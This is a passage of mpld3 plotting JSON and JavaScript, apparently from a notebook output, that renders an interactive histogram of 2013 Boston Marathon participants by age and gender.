\"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 5, \"data\": \"data01\", \"id\": \"el126114425244304\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 3, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 6, \"data\": \"data01\", \"id\": \"el126114425258320\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 3, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 7, \"data\": \"data01\", \"id\": \"el126114425259984\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data47\", \"id\": \"el126114430803600\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 4, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 2, \"data\": \"data02\", \"id\": \"el126114430805264\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 4, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 5, \"data\": \"data02\", \"id\": \"el126114430806544\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 8, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 2, \"data\": \"data01\", \"id\": \"el126114430824272\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data49\", \"id\": \"el126114430825552\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 8, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 9, \"data\": \"data01\", \"id\": \"el126114430827216\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 8, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 10, \"data\": \"data01\", \"id\": \"el126114430844944\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 8, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 11, \"data\": \"data01\", \"id\": \"el126114430846224\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"axes\", \"dasharray\": \"10,0\", \"zorder\": 1000001.0, \"alpha\": 1, \"xindex\": 0, \"data\": \"data55\", \"id\": \"el126114430857424\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"axes\", \"dasharray\": \"10,0\", \"zorder\": 1000001.0, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data55\", \"id\": \"el126114430858704\"}, {\"edgecolor\": \"#000000\", \"facecolor\": \"#FFFFFF\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"axes\", \"dasharray\": \"10,0\", \"zorder\": 1000001.0, \"alpha\": 1, \"xindex\": 0, \"data\": \"data56\", \"id\": \"el126114430847632\"}], \"sharey\": [], \"sharex\": [], \"axesbgalpha\": null, \"axes\": [{\"scale\": \"linear\", \"tickformat\": null, \"grid\": {\"color\": \"#FFFFFF\", \"alpha\": 1.0, \"dasharray\": \"10,0\", \"gridOn\": true}, \"fontsize\": 10.0, \"position\": \"bottom\", \"nticks\": 8, \"tickvalues\": null}, {\"scale\": \"linear\", \"tickformat\": null, \"grid\": {\"color\": \"#FFFFFF\", \"alpha\": 1.0, \"dasharray\": \"10,0\", \"gridOn\": true}, \"fontsize\": 10.0, \"position\": \"left\", \"nticks\": 10, \"tickvalues\": null}], \"lines\": [], \"markers\": [], \"id\": \"el126114423957840\", \"ydomain\": [0.0, 450.0], \"collections\": [], \"xscale\": \"linear\", \"bbox\": [0.125, 0.125, 0.77500000000000002, 0.77500000000000002]}], \"height\": 400.0, \"width\": 800.0, \"plugins\": [{\"type\": \"reset\"}, {\"enabled\": false, \"button\": true, \"type\": \"zoom\"}, {\"enabled\": false, \"button\": true, \"type\": \"boxzoom\"}], \"data\": {\"data42\": [[61.0, 0.0, 0.0], [61.8, 0.0, 0.0], [61.8, 114.0, 19.0], [61.0, 114.0, 19.0]], \"data43\": [[62.0, 0.0], [62.8, 0.0], [62.8, 101.0], [62.0, 101.0]], \"data40\": [[59.0, 0.0, 0.0], [59.8, 0.0, 0.0], [59.8, 98.0, 20.0], [59.0, 98.0, 20.0]], \"data41\": [[60.0, 0.0, 0.0], [60.8, 0.0, 0.0], [60.8, 163.0, 15.0], [60.0, 163.0, 15.0]], \"data46\": [[65.0, 0.0], [65.8, 0.0], [65.8, 52.0], [65.0, 52.0]], \"data47\": [[66.0, 0.0, 0.0], [66.8, 0.0, 0.0], [66.8, 34.0, 3.0], [66.0, 34.0, 3.0]], \"data44\": [[63.0, 0.0], [63.8, 0.0], [63.8, 66.0], [63.0, 66.0]], \"data45\": [[64.0, 0.0], [64.8, 0.0], [64.8, 49.0], [64.0, 49.0]], \"data48\": [[68.0, 0.0], [68.8, 0.0], [68.8, 16.0], [68.0, 16.0]], \"data49\": [[70.0, 0.0, 0.0], [70.8, 0.0, 0.0], [70.8, 10.0, 1.0], [70.0, 10.0, 1.0]], \"data50\": [[71.0, 0.0], [71.8, 0.0], [71.8, 2.0], [71.0, 2.0]], \"data53\": [[74.0, 0.0, 77.0, 79.0], [74.8, 0.0, 77.8, 79.8], [74.8, 0.0, 77.8, 79.8], [74.0, 0.0, 77.0, 79.0]], \"data28\": [[46.0, 0.0, 0.0], [46.8, 0.0, 0.0], [46.8, 383.0, 218.0], [46.0, 383.0, 218.0]], \"data06\": [[23.0, 0.0, 0.0], [23.8, 0.0, 0.0], [23.8, 70.0, 99.0], [23.0, 70.0, 99.0]], \"data52\": [[73.0, 0.0, 75.0], [73.8, 0.0, 75.8], [73.8, 3.0, 75.8], [73.0, 3.0, 75.0]], \"data08\": [[25.0, 0.0, 0.0], [25.8, 0.0, 0.0], [25.8, 126.0, 153.0], [25.0, 126.0, 153.0]], \"data09\": [[26.0, 0.0, 0.0, 49.0], [26.8, 0.0, 0.0, 49.8], [26.8, 158.0, 168.0, 49.8], [26.0, 158.0, 168.0, 49.0]], \"data20\": [[37.0, 0.0, 39.0, 0.0, 0.0], [37.8, 0.0, 39.8, 0.0, 0.0], [37.8, 244.0, 39.8, 225.0, 234.0], [37.0, 244.0, 39.0, 225.0, 234.0]], \"data21\": [[38.0, 0.0, 0.0], [38.8, 0.0, 0.0], [38.8, 280.0, 264.0], [38.0, 280.0, 264.0]], \"data22\": [[40.0, 0.0, 0.0], [40.8, 0.0, 0.0], [40.8, 308.0, 235.0], [40.0, 308.0, 235.0]], \"data05\": [[22.0, 0.0, 0.0, 53.0], [22.8, 0.0, 0.0, 53.8], [22.8, 48.0, 53.0, 53.8], [22.0, 48.0, 53.0, 53.0]], \"data02\": [[19.0, 0.0, 67.0, 0.0, 0.0, 68.0], [19.8, 0.0, 67.8, 0.0, 0.0, 68.8], [19.8, 12.0, 67.8, 14.0, 0.0, 68.8], [19.0, 12.0, 67.0, 14.0, 0.0, 68.0]], \"data04\": [[21.0, 0.0, 0.0], [21.8, 0.0, 0.0], [21.8, 44.0, 34.0], [21.0, 44.0, 34.0]], \"data26\": [[44.0, 0.0, 0.0], [44.8, 0.0, 0.0], [44.8, 265.0, 187.0], [44.0, 265.0, 187.0]], \"data01\": [[18.0, 0.0, 69.0, 0.0, 62.0, 63.0, 64.0, 65.0, 0.0, 71.0, 72.0, 73.0], [18.8, 0.0, 69.8, 0.0, 62.8, 63.8, 64.8, 65.8, 0.0, 71.8, 72.8, 73.8], [18.8, 8.0, 69.8, 5.0, 62.8, 63.8, 64.8, 65.8, 0.0, 71.8, 72.8, 73.8], [18.0, 8.0, 69.0, 5.0, 62.0, 63.0, 64.0, 65.0, 0.0, 71.0, 72.0, 73.0]], \"data55\": [[0.8412718413978496, 0.929032258064516, 0.8655913978494622], [0.8842825940860216, 0.929032258064516, 0.8655913978494622], [0.8842825940860216, 0.9591397849462364, 0.8956989247311826], [0.8412718413978496, 0.9591397849462364, 0.8956989247311826]], \"data23\": [[41.0, 0.0, 0.0], [41.8, 0.0, 0.0], [41.8, 324.0, 260.0], [41.0, 324.0, 260.0]], \"data51\": [[72.0, 0.0], [72.8, 0.0], [72.8, 4.0], [72.0, 4.0]], \"data24\": [[42.0, 0.0], [42.8, 0.0], [42.8, 323.0], [42.0, 323.0]], \"data56\": [[0.8326696908602151, 0.8387096774193546], [0.9892473118279571, 0.8387096774193546], [0.9892473118279571, 0.9784946236559137], [0.8326696908602151, 0.9784946236559137], [0.8326696908602151, 0.8387096774193546]], \"data03\": [[20.0, 0.0, 0.0], [20.8, 0.0, 0.0], [20.8, 27.0, 23.0], [20.0, 27.0, 23.0]], \"data27\": [[45.0, 0.0, 0.0], [45.8, 0.0, 0.0], [45.8, 434.0, 251.0], [45.0, 434.0, 251.0]], \"data07\": [[24.0, 0.0, 0.0], [24.8, 0.0, 0.0], [24.8, 96.0, 152.0], [24.0, 96.0, 152.0]], \"data54\": [[76.0, 0.0, 78.0], [76.8, 0.0, 78.8], [76.8, 1.0, 78.8], [76.0, 1.0, 78.0]], \"data37\": [[55.0, 0.0, 0.0], [55.8, 0.0, 0.0], [55.8, 272.0, 68.0], [55.0, 272.0, 68.0]], \"data36\": [[54.0, 0.0, 0.0, 56.0], [54.8, 0.0, 0.0, 56.8], [54.8, 210.0, 66.0, 56.8], [54.0, 210.0, 66.0, 56.0]], \"data35\": [[53.0, 0.0], [53.8, 0.0], [53.8, 257.0], [53.0, 257.0]], \"data34\": [[52.0, 0.0, 0.0], [52.8, 0.0, 0.0], [52.8, 301.0, 108.0], [52.0, 301.0, 108.0]], \"data25\": [[43.0, 0.0, 0.0], [43.8, 0.0, 0.0], [43.8, 288.0, 217.0], [43.0, 288.0, 217.0]], \"data32\": [[50.0, 0.0, 0.0], [50.8, 0.0, 0.0], [50.8, 376.0, 173.0], [50.0, 376.0, 173.0]], \"data31\": [[49.0, 0.0], [49.8, 0.0], [49.8, 325.0], [49.0, 325.0]], \"data30\": [[48.0, 0.0, 0.0], [48.8, 0.0, 0.0], [48.8, 309.0, 198.0], [48.0, 309.0, 198.0]], \"data39\": [[58.0, 0.0, 0.0], [58.8, 0.0, 0.0], [58.8, 159.0, 28.0], [58.0, 159.0, 28.0]], \"data38\": [[56.0, 0.0], [56.8, 0.0], [56.8, 252.0], [56.0, 252.0]], \"data19\": [[36.0, 0.0, 0.0], [36.8, 0.0, 0.0], [36.8, 208.0, 283.0], [36.0, 208.0, 283.0]], \"data18\": [[35.0, 0.0, 0.0, 42.0], [35.8, 0.0, 0.0, 42.8], [35.8, 243.0, 253.0, 42.8], [35.0, 243.0, 253.0, 42.0]], \"data15\": [[32.0, 0.0, 0.0], [32.8, 0.0, 0.0], [32.8, 182.0, 190.0], [32.0, 182.0, 190.0]], \"data14\": [[31.0, 0.0, 0.0], [31.8, 0.0, 0.0], [31.8, 188.0, 183.0], [31.0, 188.0, 183.0]], \"data17\": [[34.0, 0.0, 57.0, 0.0], [34.8, 0.0, 57.8, 0.0], [34.8, 180.0, 57.8, 33.0], [34.0, 180.0, 57.0, 33.0]], \"data16\": [[33.0, 0.0, 0.0], [33.8, 0.0, 0.0], [33.8, 215.0, 172.0], [33.0, 215.0, 172.0]], \"data11\": [[28.0, 0.0, 0.0], [28.8, 0.0, 0.0], [28.8, 171.0, 209.0], [28.0, 171.0, 209.0]], \"data10\": [[27.0, 0.0, 0.0], [27.8, 0.0, 0.0], [27.8, 166.0, 206.0], [27.0, 166.0, 206.0]], \"data13\": [[30.0, 0.0, 0.0], [30.8, 0.0, 0.0], [30.8, 211.0, 185.0], [30.0, 211.0, 185.0]], \"data12\": [[29.0, 0.0, 0.0], [29.8, 0.0, 0.0], [29.8, 164.0, 213.0], [29.0, 164.0, 213.0]], \"data29\": [[47.0, 0.0, 0.0], [47.8, 0.0, 0.0], [47.8, 343.0, 197.0], [47.0, 343.0, 197.0]], \"data33\": [[51.0, 0.0, 0.0], [51.8, 0.0, 0.0], [51.8, 348.0, 135.0], [51.0, 348.0, 135.0]]}, \"id\": \"el126114423497424\"});\n", " });\n", " });\n", "}else{\n", " // require.js not available: dynamically load d3 & mpld3\n", " mpld3_load_lib(\"https://mpld3.github.io/js/d3.v3.min.js\", function(){\n", " mpld3_load_lib(\"https://mpld3.github.io/js/mpld3.v0.2.js\", function(){\n", " \n", " mpld3.draw_figure(\"fig_el1261144234974248700677121\", {\"axes\": [{\"xlim\": [10.0, 80.0], \"yscale\": \"linear\", \"axesbg\": \"#EEEEEE\", \"texts\": [{\"v_baseline\": \"auto\", \"h_anchor\": \"middle\", \"color\": \"#000000\", \"text\": \"2013 Boston Marathon participants, by age and gender\", \"coordinates\": \"axes\", \"zorder\": 3, \"alpha\": 1, \"fontsize\": 12.0, \"position\": [0.5, 1.0179211469534051], \"rotation\": -0.0, \"id\": \"el126114423915664\"}, {\"v_baseline\": \"auto\", \"h_anchor\": \"start\", \"color\": \"#000000\", \"text\": \"Men\", \"coordinates\": \"axes\", \"zorder\": 1000003.0, \"alpha\": 1, \"fontsize\": 12.0, \"position\": [0.90148689516129055, 0.92903225806451595], \"rotation\": -0.0, \"id\": \"el126114430856592\"}, {\"v_baseline\": \"auto\", \"h_anchor\": \"start\", \"color\": \"#000000\", \"text\": \"Women\", \"coordinates\": \"axes\", \"zorder\": 1000003.0, \"alpha\": 1, \"fontsize\": 12.0, \"position\": [0.90148689516129055, 0.86559139784946215], \"rotation\": -0.0, \"id\": \"el126114430857808\"}], \"zoomable\": true, \"images\": [], \"xdomain\": [10.0, 80.0], \"ylim\": [0.0, 450.0], \"paths\": [{\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data01\", \"id\": \"el126114423405008\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data02\", \"id\": \"el126114423404816\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data03\", \"id\": \"el126114423403536\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data04\", \"id\": \"el126114363088784\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data05\", \"id\": \"el126114409694736\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data06\", \"id\": \"el126114423414288\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data07\", \"id\": \"el126114423417424\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data08\", \"id\": \"el126114423417040\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data09\", \"id\": \"el126114425010576\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data10\", \"id\": \"el126114423734352\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data11\", \"id\": \"el126114423736016\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data12\", \"id\": \"el126114423737296\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data13\", \"id\": \"el126114423813136\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data14\", \"id\": \"el126114423814800\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data15\", \"id\": \"el126114423750096\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data16\", \"id\": \"el126114423752720\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data17\", \"id\": \"el126114423942800\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data18\", \"id\": \"el126114423944464\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data19\", \"id\": \"el126114423946128\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data20\", \"id\": \"el126114423906896\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data21\", \"id\": \"el126114423908560\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 2, \"data\": \"data20\", \"id\": \"el126114423725968\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data22\", \"id\": \"el126114423727632\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data23\", \"id\": \"el126114423728912\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data24\", \"id\": \"el126114423718736\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data25\", \"id\": \"el126114423720400\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data26\", \"id\": \"el126114423787664\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data27\", \"id\": \"el126114423789328\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data28\", \"id\": \"el126114423815632\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data29\", \"id\": \"el126114423817296\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data30\", \"id\": \"el126114423818960\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data31\", \"id\": \"el126114423878032\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data32\", \"id\": \"el126114423879696\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data33\", \"id\": \"el126114423672528\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data34\", \"id\": \"el126114423674192\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data35\", \"id\": \"el126114423675856\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data36\", \"id\": \"el126114423607952\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", 